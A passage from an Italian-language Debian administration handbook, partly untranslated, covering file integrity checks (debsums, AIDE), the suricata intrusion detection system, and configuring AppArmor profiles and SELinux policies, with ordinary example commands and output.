14.3.4.2. Controllo dei pacchetti: debsums e i suoi limiti

debsums è l'antenato di dpkg -V ed è quindi in gran parte obsoleto. Ha gli stessi limiti di dpkg. Fortunatamente, alcune delle limitazioni possono essere aggirate (mentre dpkg non offre questa possibilità).

Dal momento che i dati su disco non possono essere sicuri, debsums offre la possibilità di fare i controlli sulla base dei file .deb anzichè affidarsi al database di dpkg. Per scaricare i file .deb fidati di tutti i pacchetti installati, possiamo contare solo sui download autenticati di APT. Questa operazione può essere lenta e noiosa, e quindi non dovrebbe essere considerata una tecnica proattiva da utilizzare in modo abituale.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

Da notare che questo esempio utilizza il comando grep-status del pacchetto dctrl-tools, che non è installato in modo predefinito.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpuse or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. Monitorare i file: AIDE

Lo strumento AIDE (Advanced Intrusion Detection Environment) permette di verificare l'integrità dei file e rileva tutti i cambiamenti rispetto ad una immagine valida archiviata del sistema. Questa immagine viene memorizzata in un database (/var/lib/aide/aide.db) contenente le informazioni significative di tutti i file del sistema (impronte digitali, permessi, data e ora e così via). Questo database viene generato inizialmente con aideinit; esso viene poi utilizzato su base giornaliera (dallo script /etc/cron.daily/aide) per verificare che non sia cambiato nulla di significativo. Quando viene rilevata una modifica, AIDE la elenca nei file di log (/var/log/aide/*.log) e invia i risultati via email all'amministratore.

IN PRATICA Proteggere il database

Dal momento che AIDE usa un database locale per confrontare lo stato dei file, l'affidabilità dei suoi risultati è direttamente legata alla validità del suo database. Se un autore di un attacco acquisisce i permessi di root su un sistema compromesso, sarà in grado di sostituire il database per nascondere le sue tracce. Una possibile soluzione è quella di salvare i relativi dati su un supporto a sola lettura.

Sono presenti molte opzioni in /etc/default/aide per modificare il comportamento del pacchetto aide. La configurazione vera e propria di AIDE viene memorizzata in /etc/aide/aide.conf e /etc/aide/aide.conf.d/ (in realtà, questi file vengono utilizzati da update-aide.conf per generare /var/lib/aide/aide.conf.autogenerated). La configurazione indica quali proprietà di quali file devono essere controllate. Per esempio, il contenuto dei file di log cambia regolarmente, e tali cambiamenti possono essere ignorati fino a quando i permessi di questi file rimangono invariati, ma sia il contenuto che i permessi dei programmi eseguibili devono rimanere costanti. Anche se non molto complessa, la sintassi della configurazione non è del tutto intuitiva, ed è quindi consigliato leggere la pagina di manuale aide.conf(5).

Una nuova versione del database è generata giornalmente in /var/lib/aide/aide.db.new; se tutte le variazioni raccolte sono legittime, viene usato per sostituire il database di riferimento.

ALTERNATIVE Tripwire e Samhain

Tripwire è molto simile ad AIDE; anche la sintassi del file di configurazione è bene o male la stessa. La principale novità fornita da tripwire è il meccanismo di firma del file di configurazione, affinché un autore di un attacco non possa associarlo a una diversa versione del database di riferimento.

Anche Samhain offre caratteristiche simili, oltre ad alcune funzioni per permettere la rilevazione dei rootkit (vedere il riquadro APPROFONDIMENTI I pacchetti checksecurity e chkrootkit/rkhunter). Può anche essere distribuito globalmente in rete, memorizzando i suoi risultati in un server centrale (con firma).

APPROFONDIMENTI I pacchetti checksecurity e chkrootkit/rkhunter

Il primo di questi pacchetti contiene numerosi script brevi che eseguono controlli di base sul sistema (password vuote, nuovi file con setuid e così via) e avvertono l'amministratore se necessario. Nonostante il suo nome esplicito, un amministratore non dovrebbe affidarsi solamente ad esso per garantire la sicurezza di un sistema Linux.

I pacchetti chkrootkit e rkhunter permettono di cercare rootkit potenzialmente installati nel sistema. Come promemoria, un rootkit è una parte di software progettata per nascondere il fatto che il sistema è compromesso mentre mantiene in modo discreto il controllo sulla macchina. I test non sono affidabili al 100%, ma solitamente riescono ad attirare l'attenzione dell'amministratore su potenziali problemi.

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. Rilevare intrusioni (IDS/NIDS)

FONDAMENTALI «Denial of service»

Un attacco «denial of service» ha un solo scopo: bloccare la disponibilità di un servizio. Che un attacco di questo tipo implichi il sovraccarico del server tramite interrogazioni o lo sfruttamento di un bug, il risultato finale è il medesimo: il servizio non è più fruibile. Gli utenti ordinari sono scontenti, e il soggetto che ospita il servizio di rete preso di mira subisce una perdita di reputazione (e probabilmente di ricavi, per esempio se il servizio è un sito di e-commerce).

Un attacco di questo tipo si presenta talvolta "distribuito"; di solito si causa un sovraccarico del server attraverso una grande quantità di interrogazioni provenienti da numerose sorgenti distinte portando all'incapacità di rispondere alle interrogazioni legittime. A queste tipologie di attacchi sono stati associati acronimi ben conosciuti: DDoS e DoS (a seconda che il denial of service sia distribuito o meno).

suricata (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata-ids.org

→ https://www.elastic.co/products/kibana

ATTENZIONE Raggio d'azione

L'efficacia di suricata è limitata al traffico che transita sull'interfaccia di rete monitorata. Ovviamente non sarà in grado di rilevare alcunché se non può osservare il traffico reale. Quando è collegato ad uno switch di rete, rileverà quindi solo gli attacchi alla macchina nella quale è in esecuzione, cosa che probabilmente non è ciò che si desidera. La macchina che ospita suricata dovrà perciò essere connessa ad una porta "mirror" dello switch, che è solitamente riservata a collegare altri switch e quindi rileva il traffico complessivo.

La configurazione di suricata implica la configurazione e la modifica di /etc/suricata/suricata-debian.yaml, che è molto lunga poichè ogni parametro è abbondantemente commentato. Una configurazione minima richiede che venga descritto l'intervallo di indirizzi coperti dalla rete locale (parametro HOME_NET). In pratica, questo significa l'insieme di tutti i potenziali obiettivi d'attacco. Ma per ottenere la maggior parte di queste cose è richiesta la lettura in tutto ed adattandola alla situazione locale.

Prima di questo, si dovrebbe modificare anche il file /etc/default/suricata per definire l'interfaccia di rete da monitorare e consentire lo script di init (impostando RUN=yes). Si potrebbe anche voler impostare LISTENMODE=pcap perchè per impostazione predefinita LISTENMODE=nfqueue richiede un'ulteriore configurazione per funzionare correttamente (il firewall netfilter deve essere configurato per far passare i pacchetti in qualche coda dello spazio utente gestito da suricata tramite il target NFQUEUE).

Per rilevare un comportamento malevolo, suricata ha bisogno di un insieme di regole di monitoraggio: è possibile trovare le regole nel pacchetto snort-rules-default. snort è il riferimento storico nell'ecosistema IDS e suricata è in grado di riutilizzare le regole scritte per esso.

In alternativa, può essere usato oinkmaster (nel apchhetto dello stesso nome) per scaricare di set di regole di Snort da fonti esterne.

APPROFONDIMENTI Integrazione con prelude

Prelude permette il monitoraggio centralizzato delle informazioni di sicurezza. La sua architetture modulare fornisce un server (il manager in prelude-manager) che raccoglie gli allarmi generati da sensori di varie tipologie.

Suricata può essere configurato come un sensore. Altre possibilità includono prelude-lml (Log Monitor Lackey) che controlla i file di log (in maniera del tutto simile a logcheck, descritto in Sezione 14.3.1, «Monitorare i log con logcheck»).

14.4. Introduzione a AppArmor

14.4.1. Princìpi

AppArmor è un sistema di Mandatory Access Control (Controllo Accesso Obbligatorio) costruito sull'interfaccia LSM (Linux Security Modules) di Linux. In pratica, il kernel interroga AppArmor prima di ogni chiamata di sistema per sapere se il processo è autorizzato ad eseguire una data operazione. Attraverso questo meccanismo, AppArmor confina programmi ad una serie limitata di risorse.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in Sezione 14.5, «Introduzione a SELinux»), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

I profili AppArmor sono memorizzati in /etc/apparmor.d/ e contengono un elenco delle regole di controllo d'accesso alle risorse che ogni programma può utilizzare. I profili sono compilati e caricati nel kernel dal comando apparmor_parser. Ogni profilo può essere caricato sia in esecuzione sia in complaining mode. La prima fa rispettare la policy e registra i tentativi di violazione, mentre la seconda non applica la policy ma registra sempre le chiamate di sistema che sarebbero state negate.

14.4.2. Abilitazione di AppArmor e gestione dei profili di AppArmor

Il supporto ad AppArmor è integrato nei kernel standard forniti da Debian. L'abilitazione di AppArmor è quindi solo una questione di installazione, con privilegi root, di alcuni pacchetti eseguendo apt install apparmor apparmor-profiles apparmor-utils.

AppArmor is functional after the installation, and aa-status will confirm it quickly:

# aa-status

apparmor module is loaded.

40 profiles are loaded.

23 profiles are in enforce mode.

/usr/bin/evince

/usr/bin/evince-previewer

[...]

17 profiles are in complain mode.

/usr/sbin/dnsmasq

[...]

14 processes have profiles defined.

12 processes are in enforce mode.

/usr/bin/evince (3462)

[...]

2 processes are in complain mode.

/usr/sbin/avahi-daemon (429) avahi-daemon

/usr/sbin/avahi-daemon (511) avahi-daemon

0 processes are unconfined but have a profile defined.

NOTA Altri profili AppArmor

Il pacchetto apparmor-profiles contiene i profili gestiti a monte dalla comunità AppArmor. Per ottenere ancora più profili è possibile installare apparmor-profiles-extra che contiene i profili sviluppati da Ubuntu e Debian.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin

Setting /usr/bin/pidgin to enforce mode.

# aa-complain /usr/sbin/dnsmasq

Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Creare un nuovo profilo

Anche se la creazione di un profilo di AppArmor è piuttosto facile, la maggior parte dei programmi non ne hanno uno. In questa sezione verròà mostrato come creare un nuovo profilo da zero solo utilizzando il programma di destinazione e lasciando che AppArmor monitori le chiamate che il sistema fa e le risorse a cui accede.

I programmi più importanti che devono essere monitorati sono i programmi che si affacciano sulla rete che come tali sono i più probabili obiettivi di aggressori remoti. Per questo AppArmor fornisce il comodo comando aa-unconfined per elencare i programmi che non hanno un profilo associato che sono esposti ad un socket di rete aperto. Con l'opzione --paranoid si ottengono tutti i processi non confinati che hanno una connessione di rete attiva.

# aa-unconfined

801 /sbin/dhclient not confined

409 /usr/sbin/NetworkManager not confined

411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'

429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'

516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'

538 /usr/sbin/zebra not confined

591 /usr/sbin/named not confined

847 /usr/sbin/mysqld not confined

849 /usr/sbin/sshd not confined

1013 /usr/sbin/dhclient (/sbin/dhclient) not confined

1276 /usr/sbin/apache2 not confined

1322 /usr/sbin/apache2 not confined

1323 /usr/sbin/apache2 not confined

1324 /usr/sbin/apache2 not confined

1325 /usr/sbin/apache2 not confined

1327 /usr/sbin/apache2 not confined

1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'

2132 /usr/sbin/exim4 not confined

12865 /usr/bin/python3.7 (/usr/bin/python3) not confined

12873 /usr/bin/python3.7 (/usr/bin/python3) not confined

Nell'esempio seguente, cercheremo quindi di creare un profilo per /sbin/dhclient. Per questo useremo aa-genprof dhclient. In Debian Buster c'è un bug noto[6] che fa fallire il comando precedente con il seguente errore: ERRORE: file incluso /etc/apparmor.d/local/usr.lib.dovecot.deliver non trovato. Per correggerlo creare i file mancanti con touch file. Vi invitiamo ad utilizzare il comando in un'altra finestra e una volta finito tornare a aa-genprof per cercare eventi AppArmor nei log di sistema e convertire quei log in regole d'accesso. Per ogni evento registrato, verranno suggerite una o più regole che è possibile approvare o modificare ulteriormente in diversi modi:

# aa-genprof dhclient

Writing updated profile for /usr/sbin/dhclient.

Setting /usr/sbin/dhclient to complain mode.

Before you begin, you may wish to check if a

profile already exists for the application you

wish to confine. See the following wiki page for

more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

Reading log entries from /var/log/syslog.

Updating AppArmor profiles in /etc/apparmor.d.

Profile:  /usr/sbin/dhclient

Execute:  /usr/sbin/dhclient-script

Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish

P

Should AppArmor sanitise the environment when

switching profiles?

Sanitising environment is more secure,

but some applications depend on the presence

of LD_PRELOAD or LD_LIBRARY_PATH.

(Y)es / [(N)o]

Y

Writing updated profile for /usr/sbin/dhclient-script.

Complain-mode changes:

Profile:    /usr/sbin/dhclient

Capability: net_raw

Severity:   8

[1 - capability net_raw,]

[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding capability net_raw to profile.

Profile:  /sbin/dhclient

Capability: net_bind_service

Severity:   8

[1 - #include <abstractions/nis> ]

2 - capability net_bind_service,

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding #include <abstractions/nis> to profile.

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/openssl>

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

2

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

1 - #include <abstractions/lightdm>

[2 - #include <abstractions/openssl>]

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore

A

[...]

Profile:  /usr/sbin/dhclient-script

Path:     /usr/bin/dash

New Mode: owner r

Severity: unknown

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/ubuntu-browsers.d/plugins-common>

3 - owner /usr/bin/dash r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

A

Adding #include <abstractions/lightdm> to profile.

Deleted 2 previous matching profile entries.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /usr/sbin/dhclient]

2 - /usr/sbin/dhclient-script

(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t

S

Writing updated profile for /usr/sbin/dhclient.

Writing updated profile for /usr/sbin/dhclient-script.

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

F

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!

See the following wiki page for more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Finished generating profile for /usr/sbin/dhclient.

Notare che il programma non visualizza i caratteri di controllo indietro che si digitano ma per la chiarezza espositiva sono stati inclusi nella trascrizione precedente.

Il primo evento rilevato è l'esecuzione di un altro programma. In tal caso, si dispone di più opzioni: è possibile eseguire il programma con il profilo del processo padre (la scelta “Inherit”), è possibile eseguirlo con il proprio profilo dedicato (le scelte "Profile" e "Named", differiscono solo per la possibilità di utilizzare un nome di profilo arbitrario), è possibile eseguirlo con un sub-profilo del processo padre (la scelta "Child"), è possibile eseguirlo senza alcun profilo (la scelta "Unconfined") o si può decidere di non farlo eseguire a nessuno (la scelta "Deny").

Si noti che quando si sceglie di eseguire il programma sotto un profilo dedicato che non esiste ancora, lo strumento creerà il profilo mancante per voi ed allo stesso tempo proporrà delle regole per tale profilo.

A livello di kernel, i poteri speciali dell'utente root vengono suddivisi in "capacità". Quando una chiamata di sistema richiede una capacità specifica, AppArmor verificherà se il profilo permette al programma di fare uso di questa capacità.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

Dopo aver percorso tutti gli eventi registrati, il programma propone di salvare tutti i profili che sono stati creati durante l'esecuzione. In questo caso, abbiamo due profili che sono salvati in una volta con "Salva" (ma si possono salvare anche singolarmente) prima di lasciare il programma con "Fine".

aa-genprof è in realtà solo un modulo intelligente intorno a aa-logprof: esso crea un profilo vuoto, lo carica in modalità compain ed esegue aa-logprof che è uno strumento per aggiornare il profilo in base alle violazioni del profilo che sono state registrate. Così in seguito si può eseguire nuovamente questo strumento per migliorare il profilo appena creato.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to this:

# Last Modified: Fri Jul  5 00:51:02 2019

#include <tunables/global>

/usr/sbin/dhclient {

#include <abstractions/base>

#include <abstractions/nameservice>

capability net_bind_service,

capability net_raw,

/bin/dash r,

/etc/dhcp/* r,

/etc/dhcp/dhclient-enter-hooks.d/* r,

/etc/dhcp/dhclient-exit-hooks.d/* r,

/etc/resolv.conf.* w,

/etc/samba/dhcp.conf.* w,

/proc/*/net/dev r,

/proc/filesystems r,

/run/dhclient*.pid w,

/sbin/dhclient mr,

/sbin/dhclient-script rCx,

/usr/lib/NetworkManager/nm-dhcp-helper Px,

/var/lib/NetworkManager/* r,

/var/lib/NetworkManager/*.lease rw,

/var/lib/dhcp/*.leases rw,

owner /etc/** mrwk,

owner /var/** mrwk,

owner /{,var/}run/** mrwk,

}

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to this:

# Last Modified: Fri Jul  5 00:51:55 2019

#include <tunables/global>

/usr/sbin/dhclient-script {

#include <abstractions/base>

#include <abstractions/bash>

#include <abstractions/lightdm>

}

[6] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160

14.5. Introduzione a SELinux

14.5.1. Princìpi

SELinux (Security Enhanced Linux) è un sistema di controllo degli accessi obbligatorio costruito sull'interfaccia LSM (Linux Security Modules) di Linux. In pratica, il kernel interroga SELinux prima di ogni chiamata di sistema per sapere se il processo è autorizzato ad eseguire una data operazione.

SELinux sfrutta una serie di regole, note comunemente come politiche (policy), per autorizzare o vietare operazioni. Queste regole sono difficili da creare. Fortunatamente vengono fornite due politiche standard (targeted e strict) per evitare il grosso del lavoro di configurazione.

Con SELinux, la gestione dei diritti è completamente diversa dai sistemi Unix tradizionali. I diritti di un processo dipendono dal proprio contesto di sicurezza. Il contesto è definito dall'identità dell'utente che ha avviato il processo, il ruolo e il dominio che l'utente presentava in quel momento. I diritti in realtà dipendono dal dominio, ma le transizioni attraverso i domini sono controllate dai ruoli. Infine, le possibili transizioni tra i ruoli dipendono dall'identità.

Figura 14.1. Contesti di sicurezza e utenti Unix

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

Ovviamente i diritti non si applicano a tutti i soggetti (file, directory, socket, dispositivi, ecc.). Possono variare da oggetto a oggetto. Per applicare i diritti, ad ogni oggetto viene associato un tipo (questo processo è conosciuto come etichettatura). I diritti del dominio allora si esprimono come insiemi di operazioni permesse(vietate) su quei tipi (e, indirettamente, su tutti gli oggetti etichettati con quel tipo).

EXTRA Domini e tipi sono equivalenti

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

Per impostazione predefinita, un programma eredita il relativo dominio dall'utente che lo ha eseguito, ma la politica standard di SELinux si aspetta che i programmi più importanti vengano eseguiti in domini dedicati. Per ottenere ciò, questi eseguibili sono etichettati con un tipo univoco (per esempio ssh è etichettato come ssh_exec_t, e quando il programma parte, automaticamente passa al dominio ssh_t). Questo meccanismo automatico di transizione di dominio permette di concedere esclusivamente i diritti richiesti da ciascun programma. Si tratta di un principio fondamentale di SELinux.

Figura 14.2. Transizioni automatiche attraverso domini

IN PRATICA Recuperare il contesto di sicurezza

Per recuperare il contesto di sicurezza di un dato processo, si usa l'opzione Z di ps.

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd

Il primo campo riporta identità, ruolo, dominio e livello MCS, separati da due punti. Il livello MCS (Multi-Category Security) è un parametro che interviene nella configurazione della politica di protezione della riservatezza, che regola l'accesso ai file basato sulla relativa sensibilità. Questa caratteristica non verrà trattata in questo libro.

Per recuperare il contesto di sicurezza corrente in un terminale, eseguire id -Z.

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Infine, per recuperare il tipo assegnato ad un file, usare ls -Z.

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Vale la pena notare che identità e ruolo assegnati a un file non hanno alcuna particolare importanza (non vengono mai utilizzati), ma per ragioni di uniformità, ad ogni oggetto viene assegnato un contesto di sicurezza completo.

14.5.2. Impostare SELinux

Il supporto di SELinux è incluso nei kernel standard forniti da Debian. Gli strumenti di base in Unix supportano SELinux senza alcuna modifica. Abilitare SELinux quindi è relativamente semplice.

Il comando apt install selinux-basics selinux-policy-default installerà automaticamente i pacchetti richiesti per configurare un sistema SELinux.

Il pacchetto selinux-policy-default fornisce un insieme di regole standard. Per impostazione predefinita, questa politica limita l'accesso ad alcuni servizi fortemente esposti. Le sessioni utente non sono limitate ed è perciò improbabile che SELinux possa bloccare operazioni utente legittime. Comunque, questo aumenta la sicurezza per i servizi in esecuzione sulla macchina. Per installare un insieme di politiche equivalenti alle vecchie regole "restrittive", basta disabilitare il modulo unconfined (la gestione dei moduli è descritta in dettaglio più avanti in questa sezione).

Una volta che la politica è stata installata, bisogna etichettare tutti i file presenti (il che significa assegnare loro un tipo). Questa operazione dev'essere intrapresa manualmente con fixfiles relabel.

Il sistema SELinux a questo punto è pronto. Per abilitarlo, bisogna aggiungere il parametro selinux=1 security=selinux al kernel Linux. Il parametro audit=1 abilita la registrazione dei log di SELinux che memorizzano tutte le operazioni negate/non permesse. Da ultimo, il parametro enforcing=1 mette le regole in applicazione: senza di esso SELinux lavora nella modalità predefinita permissiva dove le azioni bloccate vengono raccolte nei log ma comunque eseguite. Bisogna perciò modificare il file di configurazione del bootloader GRUB per aggiungere i parametri desiderati. Un modo semplice per farlo è quello di modificare la variabile GRUB_CMDLINE_LINUX in /etc/default/grub e di lanciare update-grub. SELinux verrà attivato al riavvio.

Vale la pena notare che lo script selinux-activate automatizza queste operazioni e forza l'etichettatura all'avvio successivo (che evita la creazione di nuovi file non etichettati mentre SELinux non è ancora attivo e mentre l'etichettatura è in corso).

14.5.3. Gestire un sistema SELinux

La politica di SELinux corrisponde ad un insieme modulare di regole, e la loro installazione rileva e abilita i moduli in base ai servizi già presenti. Il sistema è così immediatamente operativo. Comunque, quando un servizio viene installato dopo l'applicazione della politica di SELinux, deve essere possibile abilitare manualmente il modulo corrispondente. Questo è lo scopo del comando semodule. Inoltre, dev'essere possibile definire i ruoli che ogni utente può assumere, che può essere fatto con il comando semanage.

Questi due comandi quindi vengono usati per apportare modifiche all'attuale configurazione di SELinux, che è memorizzata in /etc/selinux/default/. Diversamente da altri file di configurazione che si trovano in /etc/, tutti questi file non devono essere modificati manualmente. Si devono utilizzare i programmi dedicati a questo scopo.

APPROFONDIMENTI Documentazione ulteriore

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support.

→ https://wiki.debian.org/SELinux

→ https://etbe.coker.com.au/tag/selinux/

14.5.3.1. Gestione dei moduli SELinux

I moduli disponibili per SELinux sono situati nella directory /usr/share/selinux/default/. Per abilitare uno di questi nella configurazione corrente, si usa semodule -i modulo.pp.bz2. L'estensione pp.bz2 sta per policy package(compressa con bzip2).

Si può rimuovere un modulo dalla configurazione corrente con semodule -r modulo. Infine, il comando semodule -l elenca i moduli che sono attualmente installati. Visualizza anche i loro numeri di versione. I moduli possono essere attivati selettivamente con semodule -e e disabilitai con semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2

libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.

# semodule -l

accountsd

acct

[...]

# semodule -e abrt

# semodule -d accountsd

# semodule -l

abrt

acct

[...]

# semodule -r abrt

libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.semodule -l

semodule carica immediatamente la nuova configurazione tranne nel caso si usi la sua opzione -n. Vale la pena notare che per impostazione predefinita il programma agisce sulla configurazione corrente (riportata nella variabile SELINUXTYPE in /etc/selinux/config), ma si può anche modificarne un'altra specificandola con l'opzione -s.

14.5.3.2. Gestione delle identità

Ogni volta che un utente effettua l'accesso, assume una determinata identità SELinux. Questa identità definisce i ruoli che egli può assumere. Queste due corrispondenze (utente-identità e identità-ruoli) sono configurabili con il comando semanage.

Bisogna assolutamente leggere la pagina di manuale semanage(8). Tutti i concetti gestiti hanno la propria pagina di manuale; per esempio, semanage-login(8). Anche se la sintassi del comando tende ad essere simile per tutti i concetti che vengono gestiti, si consiglia di leggere la sua pagina manuale. Troverete opzioni comuni alla maggior parte dei sottocomandi: -a per aggiungere, -d per cancellare, -m per modificare, -l per elencare e -t per indicare un tipo (o dominio).

semanage login -l elenca la corrispondenza in uso degli identificatori degli utenti con le identità SELinux. Gli utenti che non hanno un riferimento esplicito acquisiscono l'identità riportata nella voce __default__. Il comando semanage login -a -s user_u utente associa l'identità user_u al dato utente. Infine, semanage login -d utente rimuove la voce corrispondente assegnata all'utente.

# semanage login -a -s user_u rhertzog

# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *

rhertzog             user_u               s0                   *

root                 unconfined_u         s0-s0:c0.c1023       *

# semanage login -d rhertzog

semanage user -l elenca la corrispondenza delle identità degli utenti in SELinux con i ruoli assegnati. L'aggiunta di una nuova identità richiede la definizione sia dei ruoli corrispondenti sia di un prefisso di etichetta utilizzato per assegnare un tipo ai file personali (/home/utente/*). Il prefisso deve essere preso da user, staff, e sysadm. Il prefisso «staff» ha come risultato file di tipo «staff_home_dir_t». Per creare una nuova identità per l'utente in SELinux basta lanciare semanage user -a -R ruoli -P prefisso identità. Infine, è possibile rimuovere un'identità di SELinux con semanage user -d identity.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling   MLS/       MLS/

SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

root            sysadm     s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r

staff_u         staff      s0         s0-s0:c0.c1023                 staff_r sysadm_r

sysadm_u        sysadm     s0         s0-s0:c0.c1023                 sysadm_r

system_u        user       s0         s0-s0:c0.c1023                 system_r

test_u          staff      s0         s0                             staff_r user_r

unconfined_u    unconfined s0         s0-s0:c0.c1023                 system_r unconfined_r

user_u          user       s0         s0                             user_r

# semanage user -d test_u

14.5.3.3. Gestire i contesti dei file, le porte e i booleani

Ogni modulo SELinux fornisce un insieme di regole per l'etichettatura dei file, ma è anche possibile aggiungerne di personalizzate per far fronte a casi specifici. Per esempio, se si vuole che il server web possa leggere i file dentro la gerarchia /srv/www/, si deve lanciare semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" seguito da restorecon -R /srv/www/. Il primo comando registra le nuove regole sull'etichettatura e il secondo reimposta i tipi di file in base alle regole di etichettatura correnti.

In modo del tutto simile, le porte TCP/UDP sono etichettate in modo da assicurare che solo il rispettivo demone possa rimanere in ascolto su di esse. Per esempio, se si vuole che il server web rimanga in ascolto su porta 8080, è consigliabile seguire semanage port -m -t http_port_t -p tcp 8080.

Alcuni moduli SELinux esportano opzioni booleane che si possono personalizzare per variare il comportamento delle regole predefinite. L'utilità getsebool viene usata per ispezionare tali opzioni (getsebool booleano mostra un'opzione, e getsebool -a le mostra tutte). Il comando setsebool booleano valore modifica il valore corrente di un'opzione booleana. L'opzione -P rende permanente la modifica, cioè il nuovo valore diventa il predefinito e questo rimarrà tale nei successivi riavvii. L'esempio sotto concede ai web server l'accesso alle directory home (utile quando gli utenti hanno siti web personali in ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.5.4. Adattare le regole

Dato che la politica di SELinux è modulare, potrebbe essere interessante sviluppare nuovi moduli per le applicazioni (eventualmente personalizzate) che ne sono prive. Questi nuovi moduli quindi completerebbero la politica di riferimento.

